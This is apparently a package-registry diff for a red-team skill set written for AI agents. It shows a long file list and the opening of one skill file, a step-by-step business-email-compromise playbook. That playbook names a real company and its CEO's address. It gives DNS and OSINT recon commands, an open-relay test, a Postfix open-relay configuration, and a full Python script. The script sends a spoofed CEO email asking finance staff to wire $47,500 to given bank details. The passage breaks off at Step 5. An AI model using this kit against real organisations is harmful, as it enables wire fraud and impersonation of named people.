rtexit-method 0.1.0 → 0.1.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +9 -7
- package/packaged-assets/.agents/skills/rt-active-recon/SKILL.md +767 -0
- package/packaged-assets/.agents/skills/rt-active-recon/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-agent-breaker/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-breaker/customize.toml +76 -0
- package/packaged-assets/.agents/skills/rt-agent-commander/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-agent-commander/customize.toml +67 -0
- package/packaged-assets/.agents/skills/rt-agent-ghost/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-ghost/customize.toml +77 -0
- package/packaged-assets/.agents/skills/rt-agent-navigator/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-navigator/customize.toml +61 -0
- package/packaged-assets/.agents/skills/rt-agent-phantom/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-phantom/customize.toml +62 -0
- package/packaged-assets/.agents/skills/rt-agent-scout/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-scout/customize.toml +61 -0
- package/packaged-assets/.agents/skills/rt-agent-scribe/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-scribe/customize.toml +77 -0
- package/packaged-assets/.agents/skills/rt-attack-chain-builder/SKILL.md +476 -0
- package/packaged-assets/.agents/skills/rt-attack-chain-builder/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-attack-surface-map/SKILL.md +1209 -0
- package/packaged-assets/.agents/skills/rt-attack-surface-map/template.md +62 -0
- package/packaged-assets/.agents/skills/rt-autodoc/SKILL.md +258 -0
- package/packaged-assets/.agents/skills/rt-c2-operations/SKILL.md +1072 -0
- package/packaged-assets/.agents/skills/rt-c2-operations/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-compliance-mapper/SKILL.md +773 -0
- package/packaged-assets/.agents/skills/rt-create-sead/SKILL.md +74 -0
- package/packaged-assets/.agents/skills/rt-create-sead/template.md +89 -0
- package/packaged-assets/.agents/skills/rt-create-sead/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-credential-access/SKILL.md +756 -0
- package/packaged-assets/.agents/skills/rt-credential-hunt/SKILL.md +856 -0
- package/packaged-assets/.agents/skills/rt-credential-hunt/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-cvss-calculator/SKILL.md +542 -0
- package/packaged-assets/.agents/skills/rt-cvss-calculator/cvss4-matrix.csv +20 -0
- package/packaged-assets/.agents/skills/rt-data-exfiltration/SKILL.md +784 -0
- package/packaged-assets/.agents/skills/rt-defense-evasion/SKILL.md +987 -0
- package/packaged-assets/.agents/skills/rt-evidence-chain/SKILL.md +712 -0
- package/packaged-assets/.agents/skills/rt-evidence-chain/template.md +31 -0
- package/packaged-assets/.agents/skills/rt-executive-report/SKILL.md +718 -0
- package/packaged-assets/.agents/skills/rt-executive-report/template.md +38 -0
- package/packaged-assets/.agents/skills/rt-executive-report/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/SKILL.md +1078 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/ad-checklist.csv +12 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/SKILL.md +1329 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/masvs-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-api/SKILL.md +1547 -0
- package/packaged-assets/.agents/skills/rt-exploit-api/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-auth/SKILL.md +1949 -0
- package/packaged-assets/.agents/skills/rt-exploit-auth/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-bec/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/SKILL.md +865 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-azure/SKILL.md +1258 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-gcp/SKILL.md +981 -0
- package/packaged-assets/.agents/skills/rt-exploit-containers/SKILL.md +55 -0
- package/packaged-assets/.agents/skills/rt-exploit-databases/SKILL.md +1374 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-mac/SKILL.md +834 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-win/SKILL.md +903 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-win/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-dotnet/SKILL.md +945 -0
- package/packaged-assets/.agents/skills/rt-exploit-elasticsearch/SKILL.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-electron/SKILL.md +1023 -0
- package/packaged-assets/.agents/skills/rt-exploit-electron/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/SKILL.md +1576 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/payloads/README.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-firebase/SKILL.md +54 -0
- package/packaged-assets/.agents/skills/rt-exploit-frameworks/SKILL.md +967 -0
- package/packaged-assets/.agents/skills/rt-exploit-idor/SKILL.md +1693 -0
- package/packaged-assets/.agents/skills/rt-exploit-idor/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/SKILL.md +1860 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/payloads/sqlmap-tampers.txt +22 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-ios/SKILL.md +1214 -0
- package/packaged-assets/.agents/skills/rt-exploit-ios/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-iot/SKILL.md +91 -0
- package/packaged-assets/.agents/skills/rt-exploit-iot/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-java/SKILL.md +1009 -0
- package/packaged-assets/.agents/skills/rt-exploit-jwt/SKILL.md +1327 -0
- package/packaged-assets/.agents/skills/rt-exploit-jwt/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-mongodb/SKILL.md +67 -0
- package/packaged-assets/.agents/skills/rt-exploit-mssql/SKILL.md +52 -0
- package/packaged-assets/.agents/skills/rt-exploit-mysql/SKILL.md +53 -0
- package/packaged-assets/.agents/skills/rt-exploit-network/SKILL.md +118 -0
- package/packaged-assets/.agents/skills/rt-exploit-network/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-nodejs/SKILL.md +852 -0
- package/packaged-assets/.agents/skills/rt-exploit-osticket/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/SKILL.md +173 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/templates/README.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-php/SKILL.md +1119 -0
- package/packaged-assets/.agents/skills/rt-exploit-physical/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-exploit-physical/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-postgresql/SKILL.md +67 -0
- package/packaged-assets/.agents/skills/rt-exploit-python/SKILL.md +986 -0
- package/packaged-assets/.agents/skills/rt-exploit-redis/SKILL.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-ruby/SKILL.md +61 -0
- package/packaged-assets/.agents/skills/rt-exploit-scada/SKILL.md +1091 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/SKILL.md +1528 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/payloads.txt +23 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-vishing/SKILL.md +121 -0
- package/packaged-assets/.agents/skills/rt-exploit-vishing/scripts.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/SKILL.md +1902 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/owasp-checklist.csv +14 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-wireless/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/SKILL.md +1565 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/cves.csv +7 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/SKILL.md +1526 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/payloads.txt +18 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-finding-document/SKILL.md +687 -0
- package/packaged-assets/.agents/skills/rt-finding-document/template.md +71 -0
- package/packaged-assets/.agents/skills/rt-finding-document/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-finding-tracker/SKILL.md +216 -0
- package/packaged-assets/.agents/skills/rt-finding-tracker/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-help/SKILL.md +292 -0
- package/packaged-assets/.agents/skills/rt-help/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/SKILL.md +639 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/patterns.txt +27 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-kill-chain-map/SKILL.md +393 -0
- package/packaged-assets/.agents/skills/rt-lateral-movement/SKILL.md +1032 -0
- package/packaged-assets/.agents/skills/rt-lateral-movement/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/frameworks.csv +10 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/SKILL.md +668 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/tactics.csv +16 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-osint/SKILL.md +775 -0
- package/packaged-assets/.agents/skills/rt-osint/osint-sources.csv +12 -0
- package/packaged-assets/.agents/skills/rt-osint/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-party-mode/SKILL.md +249 -0
- package/packaged-assets/.agents/skills/rt-party-mode/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-persistence/SKILL.md +1146 -0
- package/packaged-assets/.agents/skills/rt-persistence/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-poc-writer/SKILL.md +640 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/SKILL.md +998 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/linux-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/windows-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/SKILL.md +1027 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/linux-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/win-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-remediation-roadmap/SKILL.md +665 -0
- package/packaged-assets/.agents/skills/rt-remediation-roadmap/template.md +28 -0
- package/packaged-assets/.agents/skills/rt-risk-matrix/SKILL.md +232 -0
- package/packaged-assets/.agents/skills/rt-rules-of-engagement/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-rules-of-engagement/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-scenario-c001/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c002/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-scenario-c003/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c004/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c005/SKILL.md +72 -0
- package/packaged-assets/.agents/skills/rt-scenario-d001/SKILL.md +378 -0
- package/packaged-assets/.agents/skills/rt-scenario-d002/SKILL.md +392 -0
- package/packaged-assets/.agents/skills/rt-scenario-d003/SKILL.md +522 -0
- package/packaged-assets/.agents/skills/rt-scenario-d004/SKILL.md +373 -0
- package/packaged-assets/.agents/skills/rt-scenario-d005/SKILL.md +458 -0
- package/packaged-assets/.agents/skills/rt-scenario-library/SKILL.md +292 -0
- package/packaged-assets/.agents/skills/rt-scenario-library/scenarios.csv +32 -0
- package/packaged-assets/.agents/skills/rt-scenario-m001/SKILL.md +796 -0
- package/packaged-assets/.agents/skills/rt-scenario-m002/SKILL.md +723 -0
- package/packaged-assets/.agents/skills/rt-scenario-m003/SKILL.md +463 -0
- package/packaged-assets/.agents/skills/rt-scenario-m004/SKILL.md +449 -0
- package/packaged-assets/.agents/skills/rt-scenario-m005/SKILL.md +505 -0
- package/packaged-assets/.agents/skills/rt-scenario-n001/SKILL.md +573 -0
- package/packaged-assets/.agents/skills/rt-scenario-n002/SKILL.md +112 -0
- package/packaged-assets/.agents/skills/rt-scenario-n003/SKILL.md +100 -0
- package/packaged-assets/.agents/skills/rt-scenario-n004/SKILL.md +90 -0
- package/packaged-assets/.agents/skills/rt-scenario-n005/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-w001/SKILL.md +635 -0
- package/packaged-assets/.agents/skills/rt-scenario-w002/SKILL.md +612 -0
- package/packaged-assets/.agents/skills/rt-scenario-w003/SKILL.md +449 -0
- package/packaged-assets/.agents/skills/rt-scenario-w004/SKILL.md +648 -0
- package/packaged-assets/.agents/skills/rt-scenario-w005/SKILL.md +479 -0
- package/packaged-assets/.agents/skills/rt-scenario-w006/SKILL.md +443 -0
- package/packaged-assets/.agents/skills/rt-scenario-w007/SKILL.md +494 -0
- package/packaged-assets/.agents/skills/rt-scenario-w008/SKILL.md +576 -0
- package/packaged-assets/.agents/skills/rt-scenario-w009/SKILL.md +518 -0
- package/packaged-assets/.agents/skills/rt-scenario-w010/SKILL.md +574 -0
- package/packaged-assets/.agents/skills/rt-scope-definition/SKILL.md +79 -0
- package/packaged-assets/.agents/skills/rt-scope-definition/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-shodan-recon/SKILL.md +880 -0
- package/packaged-assets/.agents/skills/rt-status/SKILL.md +64 -0
- package/packaged-assets/.agents/skills/rt-subdomain-enum/SKILL.md +906 -0
- package/packaged-assets/.agents/skills/rt-subdomain-enum/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-technical-report/SKILL.md +710 -0
- package/packaged-assets/.agents/skills/rt-technical-report/template.md +41 -0
- package/packaged-assets/.agents/skills/rt-technical-report/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-threat-model/SKILL.md +59 -0
- package/packaged-assets/.agents/skills/rt-threat-model/template.md +32 -0
- package/packaged-assets/.agents/skills/rt-threat-model/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-timeline/SKILL.md +338 -0
- package/packaged-assets/RTEXIT.md +127 -0
- package/tools/installer/commands/install.js +0 -1
- package/tools/installer/lib/asset-manifest.js +10 -5
- package/tools/installer/lib/banner.js +14 -6
- package/tools/installer/lib/copy-assets.js +5 -2
- package/tools/installer/lib/prompts.js +1 -11
- package/tools/installer/lib/write-config.js +8 -2
- /package/{_rtexit → packaged-assets/_rtexit}/config.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/config.user.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/custom/config.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/autodoc_engine.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/finding_tracker.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_config.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_customization.py +0 -0
- /package/{resources → packaged-assets/resources}/certifications.md +0 -0
- /package/{resources → packaged-assets/resources}/payloads.md +0 -0
- /package/{resources → packaged-assets/resources}/tools.md +0 -0
- /package/{resources → packaged-assets/resources}/wordlists.md +0 -0
- /package/{templates → packaged-assets/templates}/attack-chain-template.md +0 -0
- /package/{templates → packaged-assets/templates}/executive-report-template.md +0 -0
- /package/{templates → packaged-assets/templates}/executive-report.md +0 -0
- /package/{templates → packaged-assets/templates}/finding-template.md +0 -0
- /package/{templates → packaged-assets/templates}/remediation-roadmap.md +0 -0
- /package/{templates → packaged-assets/templates}/sead-template.md +0 -0
- /package/{templates → packaged-assets/templates}/technical-report.md +0 -0
|
@@ -0,0 +1,518 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-scenario-w009
|
|
3
|
+
description: "W-009: DMARC p=none → CEO Email Spoofing → BEC. Domain: web. Attack chain: DNS query _dmarc.target.com → p=none confirmed → send email from CEO → finance wire transfer. MITRE: T1566.001 → T1534 → T1648. Real example: Almentor: DMARC p=none → spoof ihab.fikry@almentor.net → BEC attack on finance team"
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# W-009: DMARC p=none → CEO Email Spoofing → BEC
|
|
7
|
+
|
|
8
|
+
## Overview
|
|
9
|
+
|
|
10
|
+
**Attack Objective:** Exploit a DMARC policy set to `p=none` to send spoofed emails from the CEO's address, instructing the finance team to execute an unauthorized wire transfer (Business Email Compromise).
|
|
11
|
+
|
|
12
|
+
| Property | Value |
|
|
13
|
+
|---|---|
|
|
14
|
+
| Required Access Level | None (external attacker) |
|
|
15
|
+
| Estimated Time to Execute | 30–90 minutes |
|
|
16
|
+
| Detection Risk Level | Low (p=none means no enforcement; emails land in inbox) |
|
|
17
|
+
| Impact | Financial loss, reputational damage, regulatory exposure |
|
|
18
|
+
|
|
19
|
+
---
|
|
20
|
+
|
|
21
|
+
## Prerequisites
|
|
22
|
+
|
|
23
|
+
### Required Tools
|
|
24
|
+
|
|
25
|
+
```bash
|
|
26
|
+
# DNS enumeration
|
|
27
|
+
dig # pre-installed on Linux/macOS
|
|
28
|
+
nslookup # pre-installed on Windows
|
|
29
|
+
host # pre-installed on Linux/macOS
|
|
30
|
+
|
|
31
|
+
# MX record and mail flow analysis
|
|
32
|
+
mxtoolbox # https://mxtoolbox.com (web-based, no install needed)
|
|
33
|
+
|
|
34
|
+
# Email spoofing / sending
|
|
35
|
+
swaks # Swiss Army Knife SMTP
|
|
36
|
+
# Install:
|
|
37
|
+
sudo apt install swaks # Debian/Ubuntu
|
|
38
|
+
brew install swaks # macOS
|
|
39
|
+
|
|
40
|
+
# Python alternative (built-in)
|
|
41
|
+
python3 -c "import smtplib" # verify smtplib available
|
|
42
|
+
|
|
43
|
+
# DMARC/SPF/DKIM analysis
|
|
44
|
+
checkdmarc # Python tool
|
|
45
|
+
pip3 install checkdmarc
|
|
46
|
+
|
|
47
|
+
# Optional: open relay discovery
|
|
48
|
+
telnet # pre-installed on most systems
|
|
49
|
+
nmap # https://nmap.org
|
|
50
|
+
sudo apt install nmap
|
|
51
|
+
```
|
|
52
|
+
|
|
53
|
+
### Required Access or Conditions
|
|
54
|
+
|
|
55
|
+
- Internet access (no internal access required)
|
|
56
|
+
- Target domain name (e.g., `almentor.net`)
|
|
57
|
+
- Knowledge of CEO name and email format (OSINT phase)
|
|
58
|
+
- A controllable SMTP server or open relay (for sending spoofed mail)
|
|
59
|
+
- A plausible finance team recipient address (OSINT or guessed from pattern)
|
|
60
|
+
|
|
61
|
+
### Skill Level
|
|
62
|
+
|
|
63
|
+
**INTERMEDIATE** — Requires understanding of email authentication protocols (SPF, DKIM, DMARC), SMTP mechanics, and social engineering principles.
|
|
64
|
+
|
|
65
|
+
---
|
|
66
|
+
|
|
67
|
+
## Attack Chain
|
|
68
|
+
|
|
69
|
+
```
|
|
70
|
+
[RECONNAISSANCE]
|
|
71
|
+
DNS query: _dmarc.target.com
|
|
72
|
+
|
|
|
73
|
+
v
|
|
74
|
+
[VULNERABILITY CONFIRMED]
|
|
75
|
+
DMARC p=none → no enforcement, spoofed mail delivered
|
|
76
|
+
|
|
|
77
|
+
v
|
|
78
|
+
[WEAPONIZATION]
|
|
79
|
+
Craft email: From: CEO <ihab.fikry@almentor.net>
|
|
80
|
+
Reply-To: attacker-controlled address
|
|
81
|
+
Body: urgent wire transfer request
|
|
82
|
+
|
|
|
83
|
+
v
|
|
84
|
+
[DELIVERY]
|
|
85
|
+
Send via open relay / attacker SMTP → finance team inbox
|
|
86
|
+
|
|
|
87
|
+
v
|
|
88
|
+
[EXPLOITATION]
|
|
89
|
+
Finance team receives email, believes it is from CEO
|
|
90
|
+
Wire transfer executed to attacker account
|
|
91
|
+
|
|
|
92
|
+
v
|
|
93
|
+
[IMPACT]
|
|
94
|
+
Financial loss (BEC)
|
|
95
|
+
```
|
|
96
|
+
|
|
97
|
+
**MITRE ATT&CK Chain:** T1566.001 → T1534 → T1648
|
|
98
|
+
|
|
99
|
+
---
|
|
100
|
+
|
|
101
|
+
## Step-by-Step Execution
|
|
102
|
+
|
|
103
|
+
### Step 1 — Confirm DMARC Policy
|
|
104
|
+
|
|
105
|
+
Query the DMARC TXT record for the target domain.
|
|
106
|
+
|
|
107
|
+
```bash
|
|
108
|
+
# Using dig
|
|
109
|
+
dig TXT _dmarc.almentor.net +short
|
|
110
|
+
|
|
111
|
+
# Using nslookup (Windows)
|
|
112
|
+
nslookup -type=TXT _dmarc.almentor.net
|
|
113
|
+
|
|
114
|
+
# Using checkdmarc (most detailed output)
|
|
115
|
+
checkdmarc almentor.net
|
|
116
|
+
```
|
|
117
|
+
|
|
118
|
+
**Expected Output (vulnerable):**
|
|
119
|
+
|
|
120
|
+
```
|
|
121
|
+
"v=DMARC1; p=none; rua=mailto:dmarc-reports@almentor.net"
|
|
122
|
+
```
|
|
123
|
+
|
|
124
|
+
The key field is `p=none`. This means the domain owner has DMARC monitoring enabled but **no enforcement**. Spoofed emails will be delivered.
|
|
125
|
+
|
|
126
|
+
**What to look for:**
|
|
127
|
+
|
|
128
|
+
| Policy | Meaning | Exploitable? |
|
|
129
|
+
|---|---|---|
|
|
130
|
+
| `p=none` | No enforcement, report only | YES |
|
|
131
|
+
| `p=quarantine` | Suspicious mail goes to spam | PARTIAL |
|
|
132
|
+
| `p=reject` | Spoofed mail rejected | NO |
|
|
133
|
+
|
|
134
|
+
**Fallback if no DMARC record exists:**
|
|
135
|
+
|
|
136
|
+
```bash
|
|
137
|
+
dig TXT _dmarc.almentor.net
|
|
138
|
+
# Returns: NXDOMAIN or no TXT record
|
|
139
|
+
```
|
|
140
|
+
|
|
141
|
+
No DMARC record = even more permissive than `p=none`. Attack proceeds identically.
|
|
142
|
+
|
|
143
|
+
---
|
|
144
|
+
|
|
145
|
+
### Step 2 — Enumerate SPF Record
|
|
146
|
+
|
|
147
|
+
Check whether SPF is configured and how strict it is.
|
|
148
|
+
|
|
149
|
+
```bash
|
|
150
|
+
dig TXT almentor.net +short | grep spf
|
|
151
|
+
|
|
152
|
+
# Expected output example:
|
|
153
|
+
"v=spf1 include:_spf.google.com include:mailgun.org ~all"
|
|
154
|
+
```
|
|
155
|
+
|
|
156
|
+
**SPF Qualifiers:**
|
|
157
|
+
|
|
158
|
+
| Qualifier | Meaning | Impact on spoofing |
|
|
159
|
+
|---|---|---|
|
|
160
|
+
| `-all` | Hard fail | SPF will reject; rely on DMARC p=none bypass |
|
|
161
|
+
| `~all` | Soft fail | Mail tagged but delivered |
|
|
162
|
+
| `?all` | Neutral | No guidance |
|
|
163
|
+
| `+all` | Pass all (misconfigured) | Trivially spoofable |
|
|
164
|
+
|
|
165
|
+
Note: With `p=none` DMARC, even an SPF `-all` hard fail does not block delivery — DMARC p=none means "do nothing" regardless of SPF/DKIM result. The email is delivered and a report is sent to the domain owner.
|
|
166
|
+
|
|
167
|
+
---
|
|
168
|
+
|
|
169
|
+
### Step 3 — OSINT: Identify CEO and Finance Target
|
|
170
|
+
|
|
171
|
+
Gather the CEO name, email, and finance team contacts.
|
|
172
|
+
|
|
173
|
+
```bash
|
|
174
|
+
# LinkedIn search (manual)
|
|
175
|
+
# Search: site:linkedin.com "almentor" "CFO" OR "Finance Manager" OR "Finance Director"
|
|
176
|
+
|
|
177
|
+
# Email pattern discovery
|
|
178
|
+
# If one email is known (e.g., from a previous data breach or website):
|
|
179
|
+
# ihab.fikry@almentor.net → pattern is firstname.lastname@almentor.net
|
|
180
|
+
|
|
181
|
+
# Hunter.io (web-based)
|
|
182
|
+
# https://hunter.io/domain/almentor.net
|
|
183
|
+
# Returns known email addresses and inferred pattern
|
|
184
|
+
|
|
185
|
+
# theHarvester
|
|
186
|
+
theHarvester -d almentor.net -b linkedin,google,bing
|
|
187
|
+
|
|
188
|
+
# Verify email is live (optional, careful — may alert target)
|
|
189
|
+
swaks --to finance@almentor.net --server mail.almentor.net --quit-after RCPT
|
|
190
|
+
```
|
|
191
|
+
|
|
192
|
+
**Expected Output from theHarvester:**
|
|
193
|
+
|
|
194
|
+
```
|
|
195
|
+
[*] Emails found: 3
|
|
196
|
+
ihab.fikry@almentor.net
|
|
197
|
+
finance@almentor.net
|
|
198
|
+
info@almentor.net
|
|
199
|
+
```
|
|
200
|
+
|
|
201
|
+
---
|
|
202
|
+
|
|
203
|
+
### Step 4 — Identify Sending Infrastructure
|
|
204
|
+
|
|
205
|
+
Choose a method to send the spoofed email.
|
|
206
|
+
|
|
207
|
+
#### Option A: Open Relay (Scan for misconfigured SMTP servers)
|
|
208
|
+
|
|
209
|
+
```bash
|
|
210
|
+
# Scan for open relays on common SMTP ports
|
|
211
|
+
nmap -p 25,465,587 --script smtp-open-relay almentor.net
|
|
212
|
+
|
|
213
|
+
# Manual test via telnet
|
|
214
|
+
telnet mail.almentor.net 25
|
|
215
|
+
EHLO attacker.com
|
|
216
|
+
MAIL FROM:<ihab.fikry@almentor.net>
|
|
217
|
+
RCPT TO:<finance@almentor.net>
|
|
218
|
+
```
|
|
219
|
+
|
|
220
|
+
**Expected Output (open relay confirmed):**
|
|
221
|
+
|
|
222
|
+
```
|
|
223
|
+
250 2.1.0 Ok
|
|
224
|
+
250 2.1.5 Ok
|
|
225
|
+
```
|
|
226
|
+
|
|
227
|
+
#### Option B: Use a Permissive External SMTP (e.g., free SMTP service, VPS)
|
|
228
|
+
|
|
229
|
+
```bash
|
|
230
|
+
# Set up Postfix on attacker VPS (Ubuntu)
|
|
231
|
+
sudo apt install postfix
|
|
232
|
+
# Configure as open relay for testing (authorized engagement only)
|
|
233
|
+
# /etc/postfix/main.cf:
|
|
234
|
+
# mynetworks = 0.0.0.0/0
|
|
235
|
+
# smtpd_recipient_restrictions = permit_mynetworks, permit_sasl_authenticated
|
|
236
|
+
sudo systemctl restart postfix
|
|
237
|
+
```
|
|
238
|
+
|
|
239
|
+
#### Option C: Python smtplib (simplest, uses attacker-controlled server)
|
|
240
|
+
|
|
241
|
+
```python
|
|
242
|
+
# spoof_email.py
|
|
243
|
+
import smtplib
|
|
244
|
+
from email.mime.text import MIMEText
|
|
245
|
+
from email.mime.multipart import MIMEMultipart
|
|
246
|
+
|
|
247
|
+
SMTP_SERVER = "your-vps-ip" # attacker-controlled SMTP
|
|
248
|
+
SMTP_PORT = 25
|
|
249
|
+
|
|
250
|
+
FROM_DISPLAY = "Ihab Fikry (CEO)"
|
|
251
|
+
FROM_ADDRESS = "ihab.fikry@almentor.net" # spoofed
|
|
252
|
+
REPLY_TO = "attacker-controlled@gmail.com"
|
|
253
|
+
TO_ADDRESS = "finance@almentor.net"
|
|
254
|
+
|
|
255
|
+
msg = MIMEMultipart("alternative")
|
|
256
|
+
msg["Subject"] = "Urgent: Wire Transfer Required Today"
|
|
257
|
+
msg["From"] = f"{FROM_DISPLAY} <{FROM_ADDRESS}>"
|
|
258
|
+
msg["To"] = TO_ADDRESS
|
|
259
|
+
msg["Reply-To"] = REPLY_TO
|
|
260
|
+
|
|
261
|
+
body = """
|
|
262
|
+
Dear Finance Team,
|
|
263
|
+
|
|
264
|
+
I need you to process an urgent wire transfer of $47,500 to our new vendor
|
|
265
|
+
account before end of business today. This is time-sensitive — please
|
|
266
|
+
prioritize this above other tasks.
|
|
267
|
+
|
|
268
|
+
Bank: First National Bank
|
|
269
|
+
Account Name: Global Supplies LLC
|
|
270
|
+
Account Number: 8847291034
|
|
271
|
+
Routing Number: 021000021
|
|
272
|
+
Reference: INV-2024-0089
|
|
273
|
+
|
|
274
|
+
Please confirm once done. Do not discuss this with others as it is
|
|
275
|
+
commercially sensitive.
|
|
276
|
+
|
|
277
|
+
Best regards,
|
|
278
|
+
Ihab Fikry
|
|
279
|
+
CEO, Almentor
|
|
280
|
+
"""
|
|
281
|
+
|
|
282
|
+
msg.attach(MIMEText(body, "plain"))
|
|
283
|
+
|
|
284
|
+
with smtplib.SMTP(SMTP_SERVER, SMTP_PORT) as server:
|
|
285
|
+
server.sendmail(FROM_ADDRESS, TO_ADDRESS, msg.as_string())
|
|
286
|
+
print("[+] Email sent successfully")
|
|
287
|
+
```
|
|
288
|
+
|
|
289
|
+
---
|
|
290
|
+
|
|
291
|
+
### Step 5 — Craft and Send the Spoofed Email
|
|
292
|
+
|
|
293
|
+
Using `swaks` (recommended for authorized engagements — detailed logging):
|
|
294
|
+
|
|
295
|
+
```bash
|
